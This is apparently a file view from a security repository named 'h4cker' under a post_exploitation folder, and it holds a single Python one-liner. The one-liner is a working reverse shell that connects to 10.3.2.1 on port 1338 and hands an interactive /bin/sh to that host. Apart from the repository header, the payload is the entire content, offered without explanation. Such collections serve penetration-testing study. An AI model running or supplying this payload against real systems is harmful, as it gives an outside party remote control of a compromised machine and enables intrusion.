h4cker/post_exploitation/python-reverse.py

2 lines
226 B
Python
Raw Permalink Normal View History

2021-03-18 05:27:56 +00:00
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.3.2.1",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'